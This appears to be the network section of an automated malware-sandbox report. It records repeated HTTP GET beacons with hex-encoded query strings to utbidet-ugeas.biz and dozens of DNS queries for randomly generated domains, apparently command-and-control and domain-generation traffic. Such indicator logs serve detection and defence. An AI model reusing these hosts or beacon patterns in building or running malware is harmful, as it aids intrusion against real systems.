Source: global traffic	HTTP traffic detected: GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4DEC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E61C9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: gmomhogqcqo.rw
Source: global traffic	DNS traffic detected: DNS query: gcqiwuurhamq.ws
Source: global traffic	DNS traffic detected: DNS query: utbidet-ugeas.biz
Source: global traffic	DNS traffic detected: DNS query: qhncbseaikqo.rw
Source: global traffic	DNS traffic detected: DNS query: msqnej.ws
Source: global traffic	DNS traffic detected: DNS query: qsmnhmikgb.ws
Source: global traffic	DNS traffic detected: DNS query: muizcaelkbpus.ws
Source: global traffic	DNS traffic detected: DNS query: ssgum.cg
Source: global traffic	DNS traffic detected: DNS query: daqpka.kr
Source: global traffic	DNS traffic detected: DNS query: bgrauma.tk
Source: global traffic	DNS traffic detected: DNS query: uesvxrdym.mp
Source: global traffic	DNS traffic detected: DNS query: taesmoqeisc.st
Source: global traffic	DNS traffic detected: DNS query: haofpecu.vg
Source: global traffic	DNS traffic detected: DNS query: ipemvw.mp
Source: global traffic	DNS traffic detected: DNS query: kwdscx.ws
Source: global traffic	DNS traffic detected: DNS query: lhorellqnmqnh.rw
Source: global traffic	DNS traffic detected: DNS query: yamijoovw.ws
Source: global traffic	DNS traffic detected: DNS query: wrrfiqelyzq.ws
Source: global traffic	DNS traffic detected: DNS query: cmujuqlmdkg.cm
Source: global traffic	DNS traffic detected: DNS query: ecumwls.mp
Source: global traffic	DNS traffic detected: DNS query: fyuciecxgldyb.ws
Source: global traffic	DNS traffic detected: DNS query: cwgbto.cm
Source: global traffic	DNS traffic detected: DNS query: vcmiwoi.ws
Source: global traffic	DNS traffic detected: DNS query: nnwivnbqu.nu
Source: global traffic	DNS traffic detected: DNS query: iftwbsbhi.st
Source: global traffic	DNS traffic detected: DNS query: imctsikhqfmox.st
Source: global traffic	DNS traffic detected: DNS query: wkgxyjabnhynde.vg
Source: global traffic	DNS traffic detected: DNS query: kowrxnw.cm
Source: global traffic	DNS traffic detected: DNS query: xytag.rw
Source: global traffic	DNS traffic detected: DNS query: xnzakgk.kr
Source: global traffic	DNS traffic detected: DNS query: gimamgpmfgycu.rw
Source: global traffic	DNS traffic detected: DNS query: lfcwiw.ph
Source: global traffic	DNS traffic detected: DNS query: vnsudgrujuqaw.vg
Source: global traffic	DNS traffic detected: DNS query: menrzwzda.kr
Source: global traffic	DNS traffic detected: DNS query: goejwtwioknhq.mp
Source: global traffic	DNS traffic detected: DNS query: oigqdcmjr.cg
Source: global traffic	DNS traffic detected: DNS query: unmzmwhqqjn.tk
Source: global traffic	DNS traffic detected: DNS query: iuzmbo.cm
Source: global traffic	DNS traffic detected: DNS query: zaspgiv.tk
Source: global traffic	DNS traffic detected: DNS query: kccsaqgsvsa.rw
Source: global traffic	DNS traffic detected: DNS query: rgqgidaugywcg.ph
Source: global traffic	DNS traffic detected: DNS query: dqfudtqqvpha.st
Source: global traffic	DNS traffic detected: DNS query: btmcgia.ws
Source: global traffic	DNS traffic detected: DNS query: ihigogb.cm
Source: global traffic	DNS traffic detected: DNS query: uduywyte.st
Source: global traffic	DNS traffic detected: DNS query: geocssarlwqkae.ws
Source: global traffic	DNS traffic detected: DNS query: niror.rw
Source: global traffic	DNS traffic detected: DNS query: pqqembk.vg
Source: global traffic	DNS traffic detected: DNS query: ukikcexuo.st
Source: global traffic	DNS traffic detected: DNS query: eksogaqiy.kr
Source: global traffic	DNS traffic detected: DNS query: gwzyu.ph
Source: global traffic	DNS traffic detected: DNS query: eqcdijeomajywh.rw
Source: global traffic	DNS traffic detected: DNS query: yebwfcrq.mp
Source: global traffic	DNS traffic detected: DNS query: ywynxne.rw
Source: global traffic	DNS traffic detected: DNS query: cefal.ph
Source: global traffic	DNS traffic detected: DNS query: eiluyai.mp
Source: global traffic	DNS traffic detected: DNS query: kkrsmqksico.ws
Source: global traffic	DNS traffic detected: DNS query: wlopqesa.ws
Source: global traffic	DNS traffic detected: DNS query: gceocrmsm.ph
Source: global traffic	DNS traffic detected: DNS query: aynyrapy.mp
Source: global traffic	DNS traffic detected: DNS query: loucml.rw
Source: global traffic	DNS traffic detected: DNS query: igeeqesxawmwom.tk
Source: global traffic	DNS traffic detected: DNS query: numuqgoyj.nu
Source: global traffic	DNS traffic detected: DNS query: owpuc.cg
Source: global traffic	DNS traffic detected: DNS query: mxeye.ph
Source: global traffic	DNS traffic detected: DNS query: ulwbq.cm
Source: global traffic	DNS traffic detected: DNS query: iksgub.kr
Source: global traffic	DNS traffic detected: DNS query: skkawq.ph
Source: global traffic	DNS traffic detected: DNS query: quoxyyhgwkw.vg
Source: global traffic	DNS traffic detected: DNS query: kuhoi.rw
Source: global traffic	DNS traffic detected: DNS query: znful.kr
Source: global traffic	DNS traffic detected: DNS query: nuijfgm.st
Source: global traffic	DNS traffic detected: DNS query: owzuhlkauoavrg.rw
Source: global traffic	DNS traffic detected: DNS query: goqcygcoo.ph
Source: global traffic	DNS traffic detected: DNS query: kamqc.tk
Source: global traffic	DNS traffic detected: DNS query: jkknameib.vg
Source: global traffic	DNS traffic detected: DNS query: pwoawmujdqwzs.mp
Source: global traffic	DNS traffic detected: DNS query: exmqudoi.cm
Source: global traffic	DNS traffic detected: DNS query: dqagvyickrk.nu
Source: global traffic	DNS traffic detected: DNS query: useeru.cm
Source: global traffic	DNS traffic detected: DNS query: xqeappl.mp
Source: global traffic	DNS traffic detected: DNS query: wkuzdqsoiwy.kr
Source: global traffic	DNS traffic detected: DNS query: ioiqqswzikfqu.kr
Source: global traffic	DNS traffic detected: DNS query: ypnuaffmx.vg
Source: global traffic	DNS traffic detected: DNS query: oigusewa.vg
Source: global traffic	DNS traffic detected: DNS query: ocjaqgnsqfgp.mp
